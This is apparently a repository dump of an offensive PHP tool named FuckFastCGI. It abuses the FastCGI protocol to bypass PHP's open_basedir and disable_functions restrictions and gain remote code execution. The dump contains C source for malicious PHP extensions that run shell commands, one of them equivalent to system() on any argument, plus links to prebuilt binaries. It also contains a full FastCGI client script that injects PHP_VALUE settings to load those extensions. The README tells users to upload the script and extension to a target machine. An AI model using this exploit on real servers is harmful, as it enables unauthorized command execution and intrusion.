├── ext_example ├── hello │ ├── build │ │ └── hello.so │ ├── src │ │ ├── hello.h │ │ └── hello.c │ ├── config.m4 │ └── README.md └── system │ ├── build │ ├── hello.so │ ├── hello-20180731.so │ └── hello-20190529.so │ ├── src │ ├── hello.h │ └── hello.c │ ├── config.m4 │ └── README.md ├── README.md └── index.php /ext_example/hello/build/hello.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w181496/FuckFastcgi/HEAD/ext_example/hello/build/hello.so -------------------------------------------------------------------------------- /ext_example/system/build/hello.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w181496/FuckFastcgi/HEAD/ext_example/system/build/hello.so -------------------------------------------------------------------------------- /ext_example/hello/src/hello.h: -------------------------------------------------------------------------------- 1 | #define PHP_HELLO_EXTNAME "hello" 2 | #define PHP_HELLO_VERSION "0.0.1" 3 | 4 | PHP_FUNCTION(hello_world); 5 | -------------------------------------------------------------------------------- /ext_example/system/build/hello-20180731.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w181496/FuckFastcgi/HEAD/ext_example/system/build/hello-20180731.so -------------------------------------------------------------------------------- /ext_example/system/build/hello-20190529.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/w181496/FuckFastcgi/HEAD/ext_example/system/build/hello-20190529.so -------------------------------------------------------------------------------- /ext_example/system/src/hello.h: -------------------------------------------------------------------------------- 1 | #define PHP_HELLO_EXTNAME "hello" 2 | #define PHP_HELLO_VERSION "0.0.1" 3 | 4 | PHP_FUNCTION(hello_world); 5 | -------------------------------------------------------------------------------- /ext_example/hello/config.m4: -------------------------------------------------------------------------------- 1 | dnl Tell PHP about the argument to enable the hello extension 2 | 3 | PHP_ARG_ENABLE(hello, Whether to enable the hello world extension, [ --enable-hello Enable hello world]) 4 | 5 | if test "$PHP_HELLO" != "no"; then 6 | PHP_NEW_EXTENSION(hello, src/hello.c, $ext_shared) 7 | fi 8 | -------------------------------------------------------------------------------- /ext_example/system/config.m4: -------------------------------------------------------------------------------- 1 | dnl Tell PHP about the argument to enable the hello extension 2 | 3 | PHP_ARG_ENABLE(hello, Whether to enable the hello world extension, [ --enable-hello Enable hello world]) 4 | 5 | if test "$PHP_HELLO" != "no"; then 6 | PHP_NEW_EXTENSION(hello, src/hello.c, $ext_shared) 7 | fi 8 | -------------------------------------------------------------------------------- /ext_example/hello/README.md: -------------------------------------------------------------------------------- 1 | # hello module 2 | 3 | this module will run `id` command by calling `hello_world()` function. 4 | 5 | Caution: different php api version may cause module loading error. 6 | 7 | ## how to build 8 | 9 | - phpize 10 | - ./configure 11 | - make 12 | 13 | ## example 14 | 15 | - `/build/hello.so` 16 | - php 7.2 17 | - x64 elf 18 | - PHP Api Version: 20170718 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FuckFastCGI 2 | 3 | ## Description 4 | 5 | This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `disable_functions`. 6 | 7 | It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension. 8 | 9 | ## Usage 10 | 11 | - set the config of `index.php` 12 | - unix socket path / tcp host 13 | - port 14 | - extension dir path 15 | - extension name 16 | - prepend file 17 | - ... 18 | - upload this script and your malicious extension to the target machine 19 | - enjoy it! 20 | 21 | -------------------------------------------------------------------------------- /ext_example/system/README.md: -------------------------------------------------------------------------------- 1 | # hello module 2 | 3 | The `hello_world()` function is equl to `system()` 4 | 5 | e.g. `hello_world("ls -al");` 6 | 7 | Caution: different php api version may cause module loading error. 8 | 9 | ## how to build 10 | 11 | - phpize 12 | - ./configure 13 | - make 14 | 15 | ## example 16 | 17 | - `/build/hello.so` 18 | - php 7.2 19 | - x64 elf 20 | - PHP API Version: 20170718 21 | - `/build/hello-20180731.so` 22 | - php 7.2 23 | - x64 elf 24 | - PHP API Version: 20180731 25 | - `/build/hello-20190529.so` 26 | - php 7.4 27 | - x64 elf 28 | - PHP API Version: 20190529 29 | -------------------------------------------------------------------------------- /ext_example/hello/src/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "hello.h" 3 | 4 | zend_function_entry hello_functions[] = { 5 | PHP_FE(hello_world, NULL) 6 | PHP_FE_END 7 | }; 8 | 9 | zend_module_entry hello_module_entry = { 10 | STANDARD_MODULE_HEADER, 11 | PHP_HELLO_EXTNAME, 12 | hello_functions, 13 | NULL, 14 | NULL, 15 | NULL, 16 | NULL, 17 | NULL, 18 | PHP_HELLO_VERSION, 19 | STANDARD_MODULE_PROPERTIES, 20 | }; 21 | 22 | ZEND_GET_MODULE(hello); 23 | 24 | PHP_FUNCTION(hello_world) { 25 | int ret, mode = 1; 26 | char *cmd = "id"; 27 | ret = php_exec(mode, cmd, NULL, return_value); 28 | }; 29 | -------------------------------------------------------------------------------- /ext_example/system/src/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "hello.h" 3 | 4 | zend_function_entry hello_functions[] = { 5 | PHP_FE(hello_world, NULL) 6 | PHP_FE_END 7 | }; 8 | 9 | zend_module_entry hello_module_entry = { 10 | STANDARD_MODULE_HEADER, 11 | PHP_HELLO_EXTNAME, 12 | hello_functions, 13 | NULL, 14 | NULL, 15 | NULL, 16 | NULL, 17 | NULL, 18 | PHP_HELLO_VERSION, 19 | STANDARD_MODULE_PROPERTIES, 20 | }; 21 | 22 | ZEND_GET_MODULE(hello); 23 | 24 | PHP_FUNCTION(hello_world) { 25 | int ret, mode = 1; 26 | size_t s_len; 27 | char *s; 28 | zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &s, &s_len); 29 | ret = php_exec(mode, s, NULL, return_value); 30 | }; 31 | 32 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 20 | * @version 1.0 21 | */ 22 | class FCGIClient 23 | { 24 | const VERSION_1 = 1; 25 | const BEGIN_REQUEST = 1; 26 | const ABORT_REQUEST = 2; 27 | const END_REQUEST = 3; 28 | const PARAMS = 4; 29 | const STDIN = 5; 30 | const STDOUT = 6; 31 | const STDERR = 7; 32 | const DATA = 8; 33 | const GET_VALUES = 9; 34 | const GET_VALUES_RESULT = 10; 35 | const UNKNOWN_TYPE = 11; 36 | const MAXTYPE = self::UNKNOWN_TYPE; 37 | const RESPONDER = 1; 38 | const AUTHORIZER = 2; 39 | const FILTER = 3; 40 | const REQUEST_COMPLETE = 0; 41 | const CANT_MPX_CONN = 1; 42 | const OVERLOADED = 2; 43 | const UNKNOWN_ROLE = 3; 44 | const MAX_CONNS = 'MAX_CONNS'; 45 | const MAX_REQS = 'MAX_REQS'; 46 | const MPXS_CONNS = 'MPXS_CONNS'; 47 | const HEADER_LEN = 8; 48 | /** 49 | * Socket 50 | * @var Resource 51 | */ 52 | private $_sock = null; 53 | /** 54 | * Host 55 | * @var String 56 | */ 57 | private $_host = null; 58 | /** 59 | * Port 60 | * @var Integer 61 | */ 62 | private $_port = null; 63 | /** 64 | * Keep Alive 65 | * @var Boolean 66 | */ 67 | private $_keepAlive = false; 68 | /** 69 | * Constructor 70 | * 71 | * @param String $host Host of the FastCGI application 72 | * @param Integer $port Port of the FastCGI application 73 | */ 74 | public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket 75 | { 76 | $this->_host = $host; 77 | $this->_port = $port; 78 | } 79 | /** 80 | * Define whether or not the FastCGI application should keep the connection 81 | * alive at the end of a request 82 | * 83 | * @param Boolean $b true if the connection should stay alive, false otherwise 84 | */ 85 | public function setKeepAlive($b) 86 | { 87 | $this->_keepAlive = (boolean)$b; 88 | if (!$this->_keepAlive && $this->_sock) { 89 | fclose($this->_sock); 90 | } 91 | } 92 | /** 93 | * Get the keep alive status 94 | * 95 | * @return Boolean true if the connection should stay alive, false otherwise 96 | */ 97 | public function getKeepAlive() 98 | { 99 | return $this->_keepAlive; 100 | } 101 | /** 102 | * Create a connection to the FastCGI application 103 | */ 104 | private function connect() 105 | { 106 | if (!$this->_sock) { 107 | $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); 108 | if (!$this->_sock) { 109 | throw new Exception('Unable to connect to FastCGI application'); 110 | } 111 | } 112 | } 113 | /** 114 | * Build a FastCGI packet 115 | * 116 | * @param Integer $type Type of the packet 117 | * @param String $content Content of the packet 118 | * @param Integer $requestId RequestId 119 | */ 120 | private function buildPacket($type, $content, $requestId = 1) 121 | { 122 | $clen = strlen($content); 123 | return chr(self::VERSION_1) /* version */ 124 | . chr($type) /* type */ 125 | . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ 126 | . chr($requestId & 0xFF) /* requestIdB0 */ 127 | . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ 128 | . chr($clen & 0xFF) /* contentLengthB0 */ 129 | . chr(0) /* paddingLength */ 130 | . chr(0) /* reserved */ 131 | . $content; /* content */ 132 | } 133 | /** 134 | * Build an FastCGI Name value pair 135 | * 136 | * @param String $name Name 137 | * @param String $value Value 138 | * @return String FastCGI Name value pair 139 | */ 140 | private function buildNvpair($name, $value) 141 | { 142 | $nlen = strlen($name); 143 | $vlen = strlen($value); 144 | if ($nlen < 128) { 145 | /* nameLengthB0 */ 146 | $nvpair = chr($nlen); 147 | } else { 148 | /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ 149 | $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); 150 | } 151 | if ($vlen < 128) { 152 | /* valueLengthB0 */ 153 | $nvpair .= chr($vlen); 154 | } else { 155 | /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ 156 | $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); 157 | } 158 | /* nameData & valueData */ 159 | return $nvpair . $name . $value; 160 | } 161 | 162 | /** 163 | * Decode a FastCGI Packet 164 | * 165 | * @param String $data String containing all the packet 166 | * @return array 167 | */ 168 | private function decodePacketHeader($data) 169 | { 170 | $ret = array(); 171 | $ret['version'] = ord($data{0}); 172 | $ret['type'] = ord($data{1}); 173 | $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); 174 | $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); 175 | $ret['paddingLength'] = ord($data{6}); 176 | $ret['reserved'] = ord($data{7}); 177 | return $ret; 178 | } 179 | /** 180 | * Read a FastCGI Packet 181 | * 182 | * @return array 183 | */ 184 | private function readPacket() 185 | { 186 | if ($packet = fread($this->_sock, self::HEADER_LEN)) { 187 | $resp = $this->decodePacketHeader($packet); 188 | $resp['content'] = ''; 189 | if ($resp['contentLength']) { 190 | $len = $resp['contentLength']; 191 | while ($len && $buf=fread($this->_sock, $len)) { 192 | $len -= strlen($buf); 193 | $resp['content'] .= $buf; 194 | } 195 | } 196 | if ($resp['paddingLength']) { 197 | $buf=fread($this->_sock, $resp['paddingLength']); 198 | } 199 | return $resp; 200 | } else { 201 | return false; 202 | } 203 | } 204 | 205 | /** 206 | * Execute a request to the FastCGI application 207 | * 208 | * @param array $params Array of parameters 209 | * @param String $stdin Content 210 | * @return String 211 | */ 212 | public function request(array $params, $stdin) 213 | { 214 | $response = ''; 215 | $this->connect(); 216 | $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); 217 | $paramsRequest = ''; 218 | foreach ($params as $key => $value) { 219 | $paramsRequest .= $this->buildNvpair($key, $value); 220 | } 221 | if ($paramsRequest) { 222 | $request .= $this->buildPacket(self::PARAMS, $paramsRequest); 223 | } 224 | $request .= $this->buildPacket(self::PARAMS, ''); 225 | if ($stdin) { 226 | $request .= $this->buildPacket(self::STDIN, $stdin); 227 | } 228 | $request .= $this->buildPacket(self::STDIN, ''); 229 | fwrite($this->_sock, $request); 230 | do { 231 | $resp = $this->readPacket(); 232 | if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { 233 | $response .= $resp['content']; 234 | } 235 | } while ($resp && $resp['type'] != self::END_REQUEST); 236 | if (!is_array($resp)) { 237 | throw new Exception('Bad request'); 238 | } 239 | switch (ord($resp['content']{4})) { 240 | case self::CANT_MPX_CONN: 241 | throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); 242 | break; 243 | case self::OVERLOADED: 244 | throw new Exception('New request rejected; too busy [OVERLOADED]'); 245 | break; 246 | case self::UNKNOWN_ROLE: 247 | throw new Exception('Role value not known [UNKNOWN_ROLE]'); 248 | break; 249 | case self::REQUEST_COMPLETE: 250 | return $response; 251 | } 252 | } 253 | } 254 | ?> 255 | 256 | 257 | 'FastCGI/1.0', 291 | 'REQUEST_METHOD' => 'GET', 292 | 'SCRIPT_FILENAME' => $filepath, 293 | 'SCRIPT_NAME' => $req, 294 | 'REQUEST_URI' => $uri, 295 | 'DOCUMENT_URI' => $req, 296 | 'PHP_VALUE' => $php_value, 297 | 'PHP_ADMIN_VALUE' => $php_admin_value, 298 | 'SERVER_SOFTWARE' => 'kaibro-fastcgi-rce', 299 | 'REMOTE_ADDR' => '127.0.0.1', 300 | 'REMOTE_PORT' => '9985', 301 | 'SERVER_ADDR' => '127.0.0.1', 302 | 'SERVER_PORT' => '80', 303 | 'SERVER_NAME' => 'localhost', 304 | 'SERVER_PROTOCOL' => 'HTTP/1.1', 305 | ); 306 | 307 | // print_r($_REQUEST); 308 | // print_r($params); 309 | 310 | echo "Call: $uri\n\n"; 311 | echo $client->request($params, NULL); 312 | ?> 313 | --------------------------------------------------------------------------------